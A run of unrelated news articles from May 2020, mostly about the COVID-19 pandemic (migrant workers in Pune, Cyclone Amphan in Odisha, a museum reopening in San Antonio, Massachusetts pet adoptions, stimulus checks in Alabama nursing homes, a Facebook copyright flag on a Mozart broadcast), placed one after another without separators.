In the early days of the crisis, Whitmer and other governors and medical workers clamored for ventilators, fearing a shortage of the machines would prove deadly as the virus made breathing difficult for the scores of afflicted patients who were being brought to hospitals.

But the U.S. now has a surplus of the breathing machines, leading Trump to begin describing the U.S. as the king of ventilators.

Whitmer did not accompany Trump during the visit.

We do not have plans to meet, but I did speak with him yesterday on the phone," Whitmer told "CBS This Morning on Thursday. I made the case that, you know, we all have to be on the same page here. Weve got to stop demonizing one another and, really, focus on the fact that the common enemy is the virus.

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Social activist Medha Patkar said that migrant workers stranded in Pune are facing a lot of difficulties despite the arrangement of Shramik trains and private luxury buses. In the city to help the stranded get back to their home, Patkar spoke to Dheeraj Bengrut when she visited Bharati Vidyapeeth police station

What is your analysis of the current situation in Pune and across the state of stranded migrant workers and their travelling arrangements?

I started to work on this issue from May 6 from Madhya Pradesh and I am going to various districts in Maharashtra to check and help solve problems of migrant workers. One thing which I see everywhere is that they are not being treated well at most of the places by government agencies, police department and their employers. So they just want to go back to their home, but the issue is travelling. The decision taken by the Modi government to start special trains for these stranded people has been taken very late and they had given permission earlier to private transport vehicles to travel by road. The railway is the best transporting network of the public sector and the migrants were looted by the private sector earlier during the lockdown. They have come on Indias map for the first time as they are an unorganised sector, but are kept unsecured by the government till now. Most of them have not got salaries for the last two months and they are struggling for survival.

How are you and your team working to help the stranded in Pune?

Since the last three to four days, I am going across Pune and Pimpri- Chinchwad, visiting labour camps, government schools where these stranded have been kept and railway stations and state transport (ST) stands from where they are being sent. One thing is clear that there is a lack of coordination between the government agencies. For example, one train which went to Bihar on Thursday had few seats vacant. Luckily, some people who had registered to travel came to the railway station and were allowed to travel. Similarly for ST buses, for travelling within the state they should now send more buses and help these people.

My volunteers and I are now going to each of the police stations in each district of Maharashtra, including Pune. We are collecting data of people who have travelled, those who are still here and want to return to their homes and the technical issues they are facing or what any kind of help they need for survival in the city. We provide them all possible help.

What is your plan of action to address the issue?

We are collecting data from police stations and other government agencies across the state. We have made formats according to the states, where people want to travel and if they are still stuck here, we will become a mediator between them and the government agencies for their safe travel. This thing will go on for many more days and stranded people which include children, pregnant women and elderly people need to be taken care of. Today we dont want to look into corruption as of now, but government officials and the police need to be alert and take proper steps.
Cyclone Amphan made its landfall in the Sundarban area of West Bengal, but before that, on its way, it left destruction in hundreds of villages in Odisha's Balasore district

On, the early morning of 20 May, Ashok Rout, a 32-year-old farmer in Kankadapal in Chaumukh panchayat of Balasore district woke up to a wet and windy morning.

It was raining and wind speed was not that much, recalls Ashok, adding I was only thinking about the fate of my betel vine field and groundnut crops, on which my family depends heavily.

A day after, Ashok is thinking what he can do to feed his family of five, incuding his father, mother, wife and his three-year-old son. The Cyclone Amphan (pronounced UM-PUN) which ravaged through the eastern coast during 20-21 May has left his groundnut crops submerged in one feet deep water and the betel vine fplant has been severely damaged.

Ashok blames, not Amphan, but his poor luck.

Luck has never been on my side. Nothing is coming to my mind now; I dont know why it happened. What shall I do? asks a visibly disturbed Ashok.

Cyclone Amphan may have made its landfall in the Sundarban area of West Bengal, but before that, on its way, it left its stamp of destruction in hundreds of villages in coastal Balasore district. Amphan has hit them where it hurts the most: livelihood. The Cyclone has battered the livelihood of thousands of people like Ashok and shattered their hopes.

Kankadapal, home to 420 households, is one of the 12 wards under Chaumukh revenue village/panchayat. They are mostly into farming betel leaves, paddy and groundnut, and fishing.

All of them have been badly affected. Kuchcha houses of many have been damaged, says Chaumukh sarpanch, Narayan Khatua.

By 21 May, in less than 24 hours after the cyclone passed the area, Khatua received more than 1,200 applications from the people whose kitchen/cow sheds have been damaged.

Recounting the day of horror, Ashok says, overnight drizzle had turned to rain in the morning. Hours later, gradually, as intensity of rain grew and wind speed increased, he and his fellow villagers had a clear hint of the tough times in store for them later in the day.

They knew from the television bulletins that severe cyclone Amphan was about to cause devastation in Balasore district, and therefore had gathered basic essentials, like potatoes and grocery items. Rice and muri (puffed rice) was in stock, at homes.

Without taking any risk, Ashok and his family had a somewhat heavy breakfast of muri with potato fries around 10 am, before moving out to their neighbour's house  a few feet away  for safety.

Muri is mostly consumed across Balasore and in many places in adjoining Mayurbhanj and Bhadrak districts. Some eat it with with aaloo dum (a spicy potato curry) and other curries.

According to ex-IAS officer Aurobindo Behera who belongs to Balasores neighboring Mayurbhanj district, they cant survive without muri. Muri with mutton curry is always a delicacy, Behera puts.

Ashok recalls that as they sought shelter, most elders in his locality prayed to God, few even chanted prayers at a low voice, seeking refuge from the cyclone.

"Everyone was scared," says Ashok

Perhaps the prayers worked, as no human casualty was reported in the locality.

Reports said that two people died in Odisha due to the cyclone. However, it has impacted, as per initial assessment, over 45 lakh people in Odisha. In Balasore district, approximately 3,000 villages and in the neighboring Bhadrak, close to 1,400 villages have suffered damages. Bhadrak was carved out of Balasore and made a separate district, a couple of decades ago.

Those in Puri and Bhubaneswar, who experienced the fury of Category 4 cyclone Fani on 3 May, 2019, think Amphan was a sober storm. However, it has caused crop loss in 1 lakh hectares of land, while, 44 lakh consumers experienced power supply disruption. In Chaumukh panchayat, electric wires are lying hopelessly on the ground.

Ashoks father Birendra, 62, has just begun walking after five years of treatment following a stroke. Ashok says that his father still requires support while walking. His mother, Basanti, on the other hand is undergoing medication for hypertension. The onus of running the family is entirely on his shoulders.

By his own admission, Ashok used to earn Rs 50, 000 from groundnuts. But, it was the betel vine field that looked after the familys needs, throughout the year.

First, COVID-19 slapped us really hard and now, Cyclone Amphan has served a second blow. What's next? asks Ashok.

According to a school teacher in Chaumukh, betel leaves are a principal source of income for the people of Chaumukh and its adjoining sea side panchayats  Dagara, Narayanpur, Betagadia, Langaleswar, Nikhra, etc. In normal times, the locals demanded and get, easily, Rs 50 for one kada of pan (bunch of 50 betel leaves), sometimes it goes up to Rs 100 for the same numbers.

However, the COVID-19 pandemic has altered the entire economics associated with betel leaves trade. With tobacco chewing and spitting becoming a punishable offence, pan shops have been closed across the state. The result: buyers are absent. Today one kada of paan (betel leaves) fetches Rs 5 only, informs a farmer in Baliapal. That too, after much difficulty.

We have to plead before the traders to buy our produce, he adds.

A senior officer in Baliapal block promised that the administration will carry out the assessment quickly and the affected people will receive compensation from the government.

The concerned revenue inspector (RI) will do the assessment in a couple of days. Compensation will be provided to the affected ones, the officer said on phone.Cv

Chaumukh sarpanch Khatua claimed that he heard from someone that the RI had visited the village on 21 May. But I havent met him, he said.

Well-known activist Jagadananda though says that in emergencies the governments response has to be quick. There should be minimal gap between rhetoric and the reality, said Jagadananda.

According to internationally acclaimed disaster and development management expert NM Prusty, in a post-cyclone scenario, the time of response is most critical.

Government should use technology and engage drones for rapid assessment, Prusty said, adding, It (government) should encourage and engage civil society organisations, corporate houses in the task, too.
NIGERIA: A pregnant woman who was in labour died today after she was allegedly delayed by police officers for not wearing a face mask in the Ogun Waterside local government area of Ogun state.



According to reports, the deceased, Waidat Adedeji, went into labour and was being rushed on a motorcycle by one of her children to the Ita-Otu General hospital when they were stopped by police officers at Sowore checkpoint. The police officers inquired why they were not wearing face masks and also not obeying the social distancing order of the state government.



It was gathered that the policemen allegedly delayed the motorcyclist for hours before they were later released. The woman reportedly died some minutes after.



Youths in the area blamed the police for her death. As a way of protest, they took her corpse and dumped it at the Abigi Divisional Police Headquarters.



Confirming the incident to Tribune, the spokesperson of the state police command, Abimbola Oyeyemi, denied the claim that police officers caused the pregnant woman's death.



Our officers were not responsible for the pregnant womans death. There were three occupants on a motorcycle as against the directive of the state government that only two people should occupy a motorcycle at a time. They were stopped and interrogated on why they did not obey the sit at home order. They informed the police that the woman was being conveyed to hospital for delivery, and having noticed that the woman was in pains, our men allowed them to proceed, he said

Source: LIB









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Just a few feet from Visions of Change, the dramatic John Coleman bronze sculpture of buffalo and longhorns that is one of the Briscoe Western Art Museums signature pieces, a staffer wearing a pale blue mask sat at the front desk behind a newly installed clear shield on Thursday morning, ready to greet visitors.

It took a while.

The Briscoes members-only reopening was the first time the front doors to any museum in the city had been unlocked following shut-down measures put in place in March to try to stem the spread of COVID-19. In the first two hours, no one other than staffers and a few artists who planned to give demonstrations ventured inside.

Artist Cliff Cavin came by about an hour before he was to give a demonstration, eager to see the Night of Artists show, a contemporary Western art showcase and sale that is one of the museums biggest events each year. The exhibit was to have opened about two weeks after the museum was shuttered, so Thursday was the first chance for anyone to see it in person.

Billy Calzada /San Antonio Express-News

He greeted Michael Duchemin, the Briscoes president and CEO, who joked that he didnt recognize the painter behind his mask. Cavin briefly pulled it down with a grin.

The number of visitors gradually ticked up after noon, and by 4 p.m., around 40 of the museums roughly 1,200 members had come into the ornate lobby.

The small turnout didnt surprise Duchemin, who said he had not expected large groups immediately. Having fewer visitors allowed the staff to settle into new routines, including increased sanitizing of surfaces and wearing masks in public spaces, prior to Saturday, when the Briscoe will open to the public.

To entice potential visitors, the museum is offering guided tours to a maximum of 10 people at a time of the Night of Artists show. Duchemin led the first one Thursday afternoon, and every slot was taken, a promising start.

It is still likely to be a while, though, before the number of people inside the museum makes social distancing a challenge.

Billy Calzada /San Antonio Express-News

Gov. Greg Abbott gave museums the go-ahead to open at 25 percent capacity on May 1 as part of his plan to open Texas, but those institutions have proceeded cautiously. Potential visitors are being careful, too.

Weve got several hundred collectors in our database, and weve been calling to invite them (to the tours), and very few, maybe 1 or 2 percent, have taken us up on it so far, because people really arent sure  theyre taking a wait-and-see approach, Duchemin said. But were trying to get to some new normal, whatever that may be.

But museums run on visitation, and in our situation on the River Walk, along with all of our other sisters and brothers down here, its tourism that drives everything. And without the Convention Center and the hotels and the restaurants and all the rest of it, its going to be kind of lonely in the short term.

On ExpressNews.com: Artpace is reopening June 2

Though the museums staff has been working remotely, Duchemin and a handful of others have dropped by a few times each week during the shutdown to check on the collection and to make sure nothing had gone awry inside the 90-year-old building. During his visits, Duchemin has kept an eye on the foot traffic on the nearby River Walk.

He said he has noticed a tiny increase over the past week or so, and hes hopeful that some of those folks will start finding their way to the Briscoe.

Regular visitors who do turn up will notice some changes in addition to the shield at the front desk, including a slew of hand sanitizer dispensers. A sandwich board on the sidewalk holds tips for staying safe the cowboy way, including reminders for patrons to wash their hands and wear face coverings when social distancing is difficult. The most Western tip urges visitors: Avoid shaking hands. Instead, tip your hat.

Billy Calzada /San Antonio Express-News

There is a limit to the number of people permitted in the gift shop at the same time, and toys and other child-friendly items have been placed out of reach of little ones to try to restrict the number of things they touch. All of the touchpads in the galleries have been removed. And the roomy elevator is limited to four people at a time, circles at all four corners indicating where riders should stand in the interest of social distancing.

Masks are encouraged, and all staffers are wearing them. But, unlike the San Antonio Museum of Art and the Witte Museum, which are opening next week and will be requiring them, they are not mandatory for Briscoe visitors.

The museum is big enough to allow people to spread out, Duchemin said.

On ExpressNews.com: San Antonio Museum of Art will reopen next week

Most people are really taking this seriously, he said. The ones that arent arent really museum-goers. I dont think theyre going to be here for the most part.

Most of the people who turned up opening day were wearing face coverings, including 7-year-old Sebastian Vega, who sported a Star Wars mask.

Vashti Coates, 59, who is retired from a career in banking, wasnt wearing hers in the gift shop but said she had it in her purse, ready to don if the museum became more crowded. Part of the reason she wanted to come on Thursday, though, was because she figured that it wouldnt be as crowded as it might be this weekend.

Billy Calzada /San Antonio Express-News

Cathy Meyer, 60, has been a Briscoe member since 2006 and figures she visits every two weeks. She said shes missed the museum terribly, so as soon as she got word about the reopening, she made plans to be there on Day One.

I love this place, the retired English teacher said.

Her friend Tony Cantu, 73, joined her for the outing. The retired restaurateur also said it was important for him to be at the Briscoe as soon as it reopened.

I wanted to come and show support, Cantu said, adding that he hadnt been entirely sure how he would feel getting out now, given the vulnerability of older people to the virus. At my age, it would have been good to have had another two or three weeks (at home) at the least. But Im getting comfortable.

dlmartin@express-news.net | Twitter: @DeborahMartinEN
Jharkhand : 25,000 trained to fish Inland: how one Jharkhand man created a food revolution

May 22,2020 | Source: The Better India

According to the Economic Survey of India, about 70 per cent of rural households depend on agriculture for their livelihood. Moreover, about 82 per cent of these farmers are small and marginal. In addition to the glaring inequities, small and marginal farmers are worst hit by weather conditions like droughts, floods, pest attacks, all resulting in low productivity. Neelkanth Mishra identified the strenuous conditions of marginal farmers. A social entrepreneur from Jharkhand, he began interacting with fishing communities while working as a Program Officer with Oxfam from 2006 to 2009. He saw that inland fisheries were an excellent way for farmers to earn a steady source of livelihood. It was a primitive sector, and he saw the opportunity in developing it.



For this, he founded the Centre for Aquatic Livelihood- Jaljeevika  a fishery-based non-profit organisation, in 2013. The organisation introduces rural folk to inland fisheries and trains fish farmers in developing cost-effective technology. They also teach them how to manage fisheries to improve production and profitability.



Through Jaljeevika, we have taught fish farmers how to make fishing tools and equipment with minimum investments, promoted women to take up fish farming, taught them how to produce fish seed, while also helping fisherfolk to become micro-entrepreneurs through value addition and processing of fish. For example, a lot of them have learnt how to process dry fish which they could also be selling, shares the 45-year-old. Jaljeevika has engaged with fish farmers in Jharkhand, Madhya Pradesh, Bihar, Odisha, West Bengal, and Andhra Pradesh, transforming over 1,000+ fisherfolk into microentrepreneurs. Overall, their projects have improved the lives of over 25,000 people in the country, which include over 5,000+ women organised in Self Help Groups (SHGs).



Journey from a social worker to a changemaker



Neelkanth was born in Jamshedpur, the city famous for its steel industries. Fascinated by the world of numbers, Neelkanth decided to pursue his bachelors in Mathematics from Banaras Hindu University (BHU) and graduated in 1998. During this time, I started reading up and got inclined towards addressing social issues. So, I thought of either pursuing journalism or working in the development sector, recalls Neelkanth. He decided to bring his plan into action by pursuing a Masters degree in Rural Development from Ranchis Xavier Institute of Social Service. After completing his course in 2000, he joined The Free Legal Aid Committee in Jamshedpur and addressed the problem of witch-hunting in Jharkhand and Bihar.



He prepared case studies of 150 victims, raised widespread awareness on the issue, and worked with lawyers and individuals to facilitate legal action. In 2001, these efforts bore fruit when the Jharkhand government enforced the Witchcraft Prevention Act. For the next few years, he worked with a few NGOs on issues of tribal rights, human rights, Dalit rights, child rights, helping raise funds, creating awareness and promoting improvement in the lives of minority groups. However, the most crucial turning point came when he joined Oxfams office in Lucknow as a Program Officer. This was the first time he was working on a livelihood development programme involving fishing communities based out of Bundelkhand in Madhya Pradesh.



There were three main takeaways from this experience. For inland fishers to be successful, you need to teach farmers how to reduce their production costs. This could be achieved by teaching them how to make fishing equipment and fish feed by themselves. Also, market linkages needed to be established along with promoting the benefits of integrated farming, he says.



He immediately realised that this model could be replicated across different parts of the country. To spread the information, he joined Revitalising Rainfed Agriculture (RRA), a network of NGOs from Odisha, Maharashtra, Jharkhand, Madhya Pradesh, and Bihar. By tapping into this network, we conducted several training workshops with NGO leaders and with people on the ground. I also began guiding pilot projects that began in these states, he says. After three years of fisheries training and development, Neelkanth saw the need to found a formal organisation that focused on the subject. Thus, in 2013, Jaljeevika was founded and registered as an NGO.



Empowering fisherfolk with knowledge and skill



In the initial days, swing, there was resistance from people because many of them had never engaged in fisheries management. The novelty of the concept brought in a lot of scepticism, shares Neelkanth. However, they were certain that the financial benefits from the trade would dissipate all doubts. To improve the catch, a proper fishing cage is needed. However, this increases the cost for the fisherman as the equipment costs over Rs 2 lakh! We decided that this cage could be made by the fisherfolk using locally-sourced materials like bamboo, nets, wood, he explains.



They also gave essential pointers regarding cultivating fish seed or baby fish. Fish seed bought from hatcheries was expensive, and in several cases, we noticed that farmers were getting it from West Bengal and Andhra Pradesh. Despite all the money and efforts, the farmers did not know the quality of the seed, and often they would get dead ones. They also did not know when these should be released in the ponds, the appropriate temperature of the water, or how to ensure a low mortality rate for more production, he states.
It's a nervous time for Australian farmers as they await China's next move in an escalating trade dispute seen by some as retaliation for Australia's pursuit of an independent inquiry into the origins of the coronavirus.

International editor Peter Hartcher's column, China can't bully us into submission: the PM has Australians' backing, was the most commented on article in the Herald and The Age in the past week.

Chinese President Xi Jinping appeared at the opening of the 73rd World Health Assembly via video link in Beijing on Monday. Credit:AP

Published ahead of this week's successful motion at the World Health Assembly to establish a coronavirus inquiry - and before Beijing made good on its threat to slap tariffs of up to 80 per cent on Australian barley - Hartcher wrote that Beijing's conduct had united Australians - and the country's political leadership.

"In public, the government is careful to play along with China's pretence  its trade complaints against Australia are based purely on trade technicalities. But every member of the government knows full well that this is not about trade. This is about the Chinese Communist Party trying to bully Australia into submission," he wrote.
Note: While most shelters have closed their doors to the public for the coming weeks many are still meeting prospective adopters through appointments. Please visit the shelters website or call to get information on adoption or fostering an animal at this time.

Each week, MassLive showcases pets available for adoption at shelters at rescue organizations across Massachusetts. With the participation of the shelters listed below, many animals should be able to find a permanent home. Pets are adopted daily so please contact the shelter directly if you are interested in an animal.

Massachusetts Shelters:

Dakin Pioneer Valley Humane Society

Address: 163 Montague Road, Leverett Hours: Tuesday-Sunday, 12:30 to 4:30 p.m. Telephone: (413) 548-9898

Address: 171 Union St., Springfield Hours: Tuesday-Sunday, 12:30 to 5:30 p.m. Telephone: (413) 781-4000

Thomas J. O'Connor Animal Control and Adoption Center Address: 627 Cottage St., Springfield Hours: Monday, Tuesday, Saturday, noon-4 p.m.; Thursday, noon-7 p.m. Telephone: (413) 781-1484

Westfield Homeless Cat Project Address: 1124 East Mountain Road, Westfield Hours: Adoption clinics, Thursday, 5-7 p.m.; Saturday, 11 a.m.-3 p.m.

Westfield Regional Animal Shelter Address: 178 Apremont Way, Westfield Hours: Monday-Friday, noon-5 p.m.; Saturday, 10 a.m.-4 p.m. Telephone: (413) 564-3129

Franklin County Sheriffs Office Regional Dog Shelter and Adoption CenterAddress: 10 Sandy Lane, Turners Falls Hours: Monday-Thursday, 9 a.m.-2 p.m., Friday-Saturday, 9 a.m.-1 p.m. Telephone: (413) 676-9182

Polverari/Southwick Animal Control Facility Address: 11 Depot St., Southwick Hours: Monday-Friday, 8 a.m.-1 p.m. Telephone: (413) 569-5348, ext. 649

Berkshire Humane Society Address: 214 Barker Road, Pittsfield Hours: Tuesday-Saturday, 10:00 a.m.-4 p.m.; Thursday, 5 p.m. to 8 p.m., Sunday, 1 p.m. to 4 p.m. Telephone: (413) 447-7878

Animal Rescue League of Boston Address: 10 Chandler Street, Boston, MA 02116 Telephone: (617) 426-9170 Fax: (617) 426-3028

DAKIN HUMANE SOCIETY

There are still pets available for adoption in the Springfield Adoption Center only (Leverett is temporarily closed). People are asked to visit the Dakin webpage first to see what pets we have available, then call us if they are interested in one in particular to set an appointment. The staff will return the call within 48 hours to set an appointment for prospective adopters to come in and see the animal. That will help make the adoption process go more smoothly and prevent unproductive time spent by the lean on-site staff.

Iris - Animals are available for adoption at Dakin by appointment only.

Iris - Spirit Cat; Domestic Longhair; Location: Springfield; Gender: Female; Age: 6 year.

Parsley - Animals are available for adoption at Dakin by appointment only.

Oregano & Parsley  to be adopted together. Rats; Location: Springfield; Gender: Male (both); Age: 2 months (both).

Oregano - Animals are available for adoption at Dakin by appointment only.

MSPCA ANIMAL CARE AND ADOPTION CENTERS

Animals are still available for adoption  you just need to make an appointment! Finding homes for our current population of shelter animals will be vital for our ability to provide temporary housing and increased surrender intake as a result of the outbreak.

Animals in need of immediate surrender will continue to be accepted by appointment . If the need to surrender your pet is not urgent, we ask that you wait to bring in your animal. This will allow us to ensure room for emergency cases and keep traffic low. Rest assured we are here to help if needed. Please visit our website at . If the need to surrender your pet is not urgent, we ask that you wait to bring in your animal. This will allow us to ensure room for emergency cases and keep traffic low. Rest assured we are here to help if needed. Please visit our website at mspca.org/surrender for more information.

Adoption centers will make disaster preparedness supplies available to the public on an as-needed basis in the event of emergency. Supplies include dog crates, water bowls and pet food is available. Please call the MSPCA adoption centers if you are in need of supplies.

Goku- Animals at the MSPCA are available for adoption by appointment only.

Goku - Domestic short hair, Male, 4 years old, Cape Cod location.

Bruce - Animals at the MSPCA are available for adoption by appointment only.

Bruce - Domestic Shorthair, male, 5 years old, at Nevins Farm.

Buddy - Animals at the MSPCA are available for adoption by appointment only.

Buddy - Male, domestic short hair, 13 years-old.

Anastasia - Animals at the MSPCA are available for adoption by appointment only.

Anastasia - Domestic short hair, female, 10 years old in Boston location.

Little One - Animals at the MSPCA are available for adoption by appointment only.

Little One - Domestic short hair, female, 3-years-old, Cape Cod location.

Pepper - Animals are available for adoption by appointment only.

Pepper - Domestic Short hair, male , 4 years old, Cape Cod location.

Snuffles - Animals are available for adoption by appointment only.

Snuffles - Guinea Pig, male, 2 years old, Nevins Farm location.

Magnolia - Animals are available for adoption by appointment only.

Magnolia - Pot belly pig, female, 4 years old, at Nevins Farm location.

Juni - Animals are available for adoption by appointment only.

Juni - Lionhead, male, 1 year-old, in Boston location.

Bemo - Animals are available for adoption by appointment only.

Bemo - Lionhead, male, 1 year-old, Boston location.

WORCESTER ANIMAL RESCUE LEAGUE

Animals can be adopted by appointment only. Call (508) 853-0030 or visit www.worcesterarl.org for more details.

Freckles - Animals are available for adoption by appointment only.

Freckles - Female/Spayed; Australian Cattle Dog/Mix; 9 years -old.

DJango - Animals are available for adoption by appointment only.

DJango - Female/Spayed, Shepherd/Retriever, 7 years, 2 months.

Maddie - Worcester Animal Rescue League has animals available for adoption by appointment only.

Maddie - Female/Spayed; Mixed Breed, Medium (up to 44 lbs fully grown)/Mix; 1 year, 1 month.

Lincoln - Animals are available for adoption by appointment only at Worcester Animal Rescue League.

Lincoln - Male/Neutered; Terrier, American Pit Bull/Mix; 5 years.

Muffin - Animals are available for adoption by appointment only.

Muffin - Female/Spayed, Domestic Shorthair/Mix, 12 years, 11 months.

Taro - Animals are available for adoption by appointment only.

Taro - Male/Neutered, Domestic Shorthair/Mix, 4 years 11 months.

Otis - Animals are available for adoption by appointment only.

Otis - Male/Neutered, Domestic Shorthair/Mix, 1 year, 2 months.

Tigga - Animals are available for adoption by appointment only.

Tigga - Male/Neutered; Domestic Shorthair/Mix; 14 years, 8 months.

BERKSHIRE HUMANE SOCIETY

Shelters will be closed to the public. The main shelter at 214 Barker Road in Pittsfield will still be staffed at r our staff and volunteers and the animals in our care and to support national, state and local recommendations, we are scaling back our op

Adoptions and Surrenders will be by appointment only. You can still surrender a pet or come to see a pet you'd like to adopt at the main shelter, but you'll have to make an appointment to do so. Please call 413-447-7878 to set up a time. Adoptions will not be available through Purradise. If you do come to Pittsfield for an adoption or surrender, please know that BHS has taken extra precautions to keep you safe from the virus.

Cat Boarding will be available at main shelter. Although Purradise will be closed for feline boarding, BHS can board your cat at the main shelter. Please call 413-447-7878 extension 124.

Pet Food Bank and SafePet programs are still available. If you are a food bank recipient, please call 413-447-7878 to set up an appointment. The BHS If you are a food bank recipient, please call 413-447-7878 to set up an appointment. The BHS SafePet program is available for owners of pets through our Participating Partners.

Medical care to shelter animals, including spay and neuter surgeries will continue. BHS will keep the shelter animals healthy and adoptable by continuing to work with local veterinarians.

Low-cost spay and neuter surgeries for cats will still be available to the public . Please call 413-447-7878 extension 124.

Family Dog School is closed

Education Programs are on hold: All meetings of Humane Heroes and Defenders are cancelled until further notice as are tours and community programs.

Luna - Animals are available at Berkshire Humane Society by appointment only.

Luna - To be adopted with Wade. Beagle, female, 8 years old.

Wade - Animals are available at Berkshire Humane Society by appointment only.

Wade - To be adopted with Lucy. Beagle, 10 years old, male.

Charlotte - Animals are available for adoption by appointment only.

Charlotte - Female, 2 years.

Miso - Animals are available for adoption by appointment only.

Miso - Female, 1 year, 7 months.

Mouse - Animals are available for adoption by appointment only.

Mouse - Female/Spayed, 5 years.

Moji Jo - Animals are available for adoption by appointment only.

Moji Jo - Female, 2 years.

NooNoo - Animals are available for adoption by appointment only.

NooNoo - Female/Spayed, 2 years, 4 months.

Missy - Animals are available for adoption by appointment only.

Missy - Female/Spayed, 6 years, 10 months.
Alabama Attorney General Steve Marshall is cautioning nursing home residents on Medicaid and their families to be vigilant against having their federal stimulus payments improperly taken from them.

While Medicaid recipients may have to sign over resources, in some circumstances, to nursing homes where they reside, that doesnt apply to current federal stimulus checks from the CARES Act.

Congress classified the stimulus money as tax credits. Under tax law, tax credits do not count as resources for federal benefits programs, Marshall said. That means recipients may keep the stimulus payments, and that they may not be seized by nursing homes.

We are now beginning to receive a few reports of concern that some Alabama nursing homes may be attempting to take stimulus checks from residents who are Medicaid recipients, Marshall said. If this is happening, it needs to stop now.

These stimulus checks are rightfully and legally the property of the residents and must be returned, he said. Confiscation of these checks is unlawful and should be reported to my office.

Alabama Nursing Home Association President and CEO Brandon Farmer issued this statement in response to Marshalls release:

Since the announcement of the stimulus payment through the Social Security Administration, we have advised our members that any stimulus payment deposited to the accounts of nursing home residents was not to be used to reimburse the facility and is the sole property of the residents.

We urge Attorney General Steve Marshall to let us know if he has any reports of diversion of residents stimulus payments so that we may clarify any misunderstanding that may exist. At this time, we are unaware of any facility where such diversion is occurring. We encourage the Attorney General to contact us any time he has a concern about nursing homes or has information he wants to pass along to our members. As we have done throughout this pandemic, we stand ready to work with local, state and federal leaders to support Alabamas nursing home residents and employees.

Anyone who believes a resident who is a Medicaid recipient has forfeited their stimulus check to a nursing home is asked to contact the Alabama Attorney Generals Office Medicaid Fraud Control Unit at mfcu@alabamaag.gov or call 334-242-7300.
Source: Xinhua| 2020-05-22 15:51:58|Editor: huaxia

Video Player Close

A farmer sells orchids through a live webcast in a greenhouse at a flower industrial park in Shangpai Town of Feixi County, east China's Anhui Province, May 1, 2020. (Xinhua/Liu Junxi)

- "Wouldn't a 'community of shared future for humankind' be great? That was the kind of dream that fueled my efforts throughout my life," Greg Cusack, a former member of the Iowa House of Representatives, told Xinhua.

- "How I wish we could extend this lesson to other fields as well: we all have so much to gain by working together for common goods rather than engaging in futile quarreling."

- "What China has done in the past 50 years is incredible, moving from a largely rural society of great poverty and suffering from decades of war to already substantially becoming a 'moderately prosperous' society."

WASHINGTON, May 22 (Xinhua) -- It's hoped that the international community would be wise enough to "embrace China with respect and an offered hand of friendship" rather than "a sense of rivalry, suspicion and fear," a former U.S. state legislator has said.

Greg Cusack, a former member of the Iowa House of Representatives, spoke "very positively" of China's efforts to help other countries fight the COVID-19 pandemic, and of the country's vision of building a community with a shared future for mankind.

"Wouldn't a 'community of shared future for humankind' be great? That was the kind of dream that fueled my efforts throughout my life," Cusack told Xinhua in a recent interview.

Earlier in March in an article published by Shanghai Daily earlier, he noted that the pandemic reminded people of "how we are intimately linked as human beings despite our being of different nationalities."

Photo taken on April 27, 2020 shows people posing for a photo with the face masks donated by China's Fujian Province in Oregon, the United States. (Xinhua)

"How I wish we could extend this lesson to other fields as well: we all have so much to gain by working together for common goods rather than engaging in futile quarreling," wrote the politician.

He also believed that what China has done over the past 50 years is "one of the greatest success stories of which I know," and the world need to "learn a few things from China."

"What China has done in the past 50 years is incredible, moving from a largely rural society of great poverty and suffering from decades of war to already substantially becoming a 'moderately prosperous' society," he noted.

Specifically, Cusack mentioned that China's pledge and determination to reduce poverty has impressed him greatly.

Farmers work in a field in Songjiagou New Village in Kelan County, north China's Shanxi Province, May 19, 2020. (Xinhua/Cao Yang)

"One of the most impressive things about China's goals has been how its leaders have publicly pledged to severely reduce, if not entirely eliminate, poverty within just a few years," he said.

"In such a society ... I believe that far more of the people will genuinely prosper, attaining the realization of what Thomas Jefferson called the pursuit of happiness," he added.

Overall, the former official pointed out that China's "government-directed approach to tackling poverty and encouraging wide-spread development" should be studied by other countries.

Aerial photo taken on Dec. 3, 2019 shows a poverty-relief resettlement site in Longlin County, south China's Guangxi Zhuang Autonomous Region. (Xinhua/Zhang Ailin)

In terms of global issues, he hopes China will continue to encourage the rest of the world to build the kind of working partnership "we desperately need if we are to have a chance" in combatting global warming.

As China's annual "two sessions" are underway, Cusack said he follows the subjects discussed in the meetings and is curious to see "how recent developments are handled and what resolution or action steps come from them."

The "two sessions" are the country's key annual political sessions of the National People's Congress and the National Committee of the Chinese People's Political Consultative Conference, which have been postponed until this week because of the COVID-19 epidemic.

"Since China has risen to such prominence in the world already, every decision China makes has significance for, and probable impact upon, the rest of us," he said. 
In memory of the nearly 100,000 Americans whove died amid the coronavirus pandemic, President Donald Trump on Thursday ordered flags to be lowered to half-staff at all federal buildings and national monuments over Memorial Day weekend.

The president announced the decision in a tweet after touring a Ford Motor Company plant in Michigan and delivering a speech that combined core re-election campaign messages with highlights of his administrations pandemic response.

I will be lowering the flags on all Federal Buildings and National Monuments to half-staff over the next three days in memory of the Americans we have lost to the CoronaVirus....  Donald J. Trump (@realDonaldTrump) May 21, 2020

Last month, likely Democratic presidential nominee Joe Biden had urged Trump to make the gesture of lowering the flags.

Earlier Thursday, House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer urged the president to make such an order, with coronavirus deaths nearing 95,000 in the U.S.

More than 1.5 million Americans have contracted COVID-19, and nearly 300,000 have fully recovered, according to Johns Hopkins University.

Respectful of them and the loss to our country, we are writing to request that you order flags to be flown at half staff on all public buildings in our country on the sad day of reckoning when we reach 100,000 deaths," Pelosi and Schumer wrote in a letter to Trump. "It would serve as a national expression of grief so needed by everyone in our country.

The president added that on Monday, which is Memorial Day, flags will fly at half-staff in honor of the men and women in our military who have made the ultimate sacrifice for our nation.

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A few Sundays ago, Camerata Pacifica artistic director Adrian Spence, aided by his tech-savvy son Keiran, went live on Facebook to broadcast a previously recorded performance of Mozart's Trio in E flat (K. 498), aka the "Kegelstatt" trio. At least they tried to.

The recorded performance was one of many that Spence had drawn from the Camerata's extensive video archives. When the covid-19 crisis abruptly canceled its season, Spence launched a weekly series of rebroadcasts to fill the silence. These broadcasts, even with their modest virtual attendance of 100 or so viewers per stream, have been essential to keeping Spence's Santa Barbara, California-based chamber organization engaged with its audience.

That is, until that recent Sunday, when his audience started to disappear, one by one, all the way down to none.

"What the hell is going on?" Spence recalls shouting to his son across the living room as the viewer count conspicuously dropped. Just minutes into the airing of the concert, Facebook issued Spence a notification that his video - an original performance of an hour-long piece composed by Mozart in 1786 - somehow contained one minute and 18 seconds of someone else's work, in this case, "audio owned by Naxos of America."

Spence, and presumably Mozart, would beg to differ.

